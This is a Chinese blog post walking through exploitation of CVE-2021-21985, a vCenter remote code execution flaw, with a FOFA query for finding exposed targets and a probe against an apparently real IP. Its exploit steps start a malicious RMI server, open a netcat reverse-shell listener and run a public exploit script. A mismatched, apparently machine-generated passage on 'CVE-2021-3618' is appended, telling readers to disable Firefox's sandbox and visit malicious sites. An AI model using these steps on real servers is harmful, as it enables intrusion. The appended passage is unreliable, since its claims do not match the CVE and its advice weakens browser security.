CVE-2021-21985 漏洞复现

CVE-2021-21985 漏洞复现

1.漏洞简介

该漏洞存在于vSphere Client(HTML5)中,由于vCenter Server中默认启用的Virtual SAN Health Check插件缺乏输入验证,拥有443端口网络访问权限的攻击者可以利用此漏洞在承载vCenter Server的操作系统上远程执行任意命令。
需要注意的是,Virtual SAN Health Check插件在所有vCenter Server中都默认启用,任何能够通过网络访问vCenter Server的未经身份验证的攻击者都可以利用这个漏洞,而无论是否使用vSAN,并且该漏洞无需用户交互即可远程利用。

漏洞等级:严重
漏洞评分:9.8
影响版本

- VMware:vCenter Server:
- 非7.0 U2b版本的7.0版本
- 非6.7 U3n版本的6.7版本
- 非6.5 U3p版本的6.5版本
- VMware:Cloud Foundation:
- 低于4.2.1版本的4.x版本
- 低于3.10.2.1版本的3.x版本

修复建议

- VMware:vCenter Server:
- 7.0版本升级到7.0 U2b
- 6.7版本升级到6.7 U3n
- 6.5版本升级到6.5 U3p
- VMware:Cloud Foundation:
- 4.x版本升级到4.2.1
- 3.x版本升级到3.10.2.1

2.靶机搭建

1.安装EXSI 6.7 链接:https://blog.51cto.com/chenjiangfeng/2409826
2.vcenter Server部署指南:

https://blog.csdn.net/qq_38028248/article/details/107712839
下载 vCenter Server
VMware vCenter Server
链接: https://cld5.irans3.com/dlir-s3/VMware-VCSA-all-7.0.0-15952498.iso
VMware-VCSA-all-7.0.0-15952498.iso档案大小: 6.42 GB
MD5: 94bb30ae83cd5f12e2eecce114d43007
SHA1: 17aa2b1ee20e977fb4f8f8391563f57c3e456361

ps:安装这个靶机最好使用好一点的电脑,反正我的电脑安装完启动环境,就像在玩ppt
在这里插入图片描述

3.漏洞复现

fofa:app="vmware-vCenter"

POC

/ui/h5-vsan/rest/proxy/service/systemProperties/getProperty
https://208.70.253.125/ui/h5-vsan/rest/proxy/service/systemProperties/getProperty

返回状态:405
在这里插入图片描述

ps:我发现cve-2021-21972漏洞和cve-2021-21985漏洞 发生的软件版本时一样的,我试了好几个存在21972漏洞的机器同样存在21985漏洞,如果需要批量测试漏洞的话,也可以尝试使用21972漏洞的poc去测试21985漏洞,如:https://github.com/QmF0c3UK/CVE-2021-21972-vCenter-6.5-7.0-RCE-POC

EXP:

1.首先需要启动RMI:需要到https://github.com/xnianq/cve-2021-21985_exp中下载相应的.jar文件运行
启动rmi服务 java -cp JNDI-Injection-Bypass-1.0-SNAPSHOT-all.jar payloads.EvilRMIServer x.x.x.x
2.然后开启reverse shell监听
nc -lvvp 5555
最后执行exp:python3 cve-2021-21985.py https://vulip:port  rmi://x.x.x.x:1099/Exploit

ps:vulip:port 即为有漏洞的网站的网址 rmi为java启动的rmi服务的
在这里插入图片描述
参考链接:
https://blog.csdn.net/qq_40989258/article/details/118354411?ops_request_misc={“request_id”%3A"162685591116780255248675"%2C"scm"%3A"20140713.130102334.pc_blog."}
https://blog.csdn.net/qq_43645782/article/details/117743212
https://github.com/xnianq/cve-2021-21985_exp
https://github.com/QmF0c3UK/CVE-2021-21972-vCenter-6.5-7.0-RCE-POC

声明:
本文仅限于大家技术交流和学习,严禁读者利用本博客的所有知识点进行非法操作。如果你利用文章中介绍的技术对他人造成损失,后果由您自行承担,感谢您的配合。
作者创作不容易,请大家点赞,收藏,关注支持一下。谢谢各位读者大老爷。

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
CVE-2021-3618漏洞是指影响了Mozilla Firefox浏览器的一个安全漏洞。该漏洞复现步骤如下: 1. 首先,你需要安装最新版本的Mozilla Firefox浏览器。确保你的浏览器已经更新到最新版本,因为最新版本通常会修复已知的漏洞。 2. 在Firefox浏览器中,打开一个新的标签页,并输入“about:config”(不包括引号)并按下Enter键。这将打开Firefox的高级配置页面。 3. 在搜索栏中输入“security.sandbox.content.level”(不包括引号),然后按下Enter键。你将看到一个名为“security.sandbox.content.level”的首选项。 4. 将“security.sandbox.content.level”的值更改为“0”(不包括引号)。这将禁用Firefox的内容沙箱。请注意,这将降低浏览器的安全性,请谨慎操作。 5. 关闭并重新启动Firefox浏览器,使更改生效。 6. 现在,你可以尝试复现CVE-2021-3618漏洞。使用Firefox浏览器访问一个存在安全漏洞的网站,如已知的恶意或受攻击的网站,或使用特定的payload触发漏洞。 7. 如果复现成功,可能会出现安全漏洞所导致的异常行为,比如系统崩溃、恶意代码执行等。如果没有出现异常行为,可能是因为已经修复了该漏洞或在你的环境中无法成功利用。 需要注意的是,复现CVE漏洞可能存在风险,并可能对你的计算机造成不可逆转的损害。这种操作只适用于在合法情况下进行安全测试和研究的专业人士,不推荐普通用户进行尝试。实施复现操作之前,请确认你已经了解并接受相关风险。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值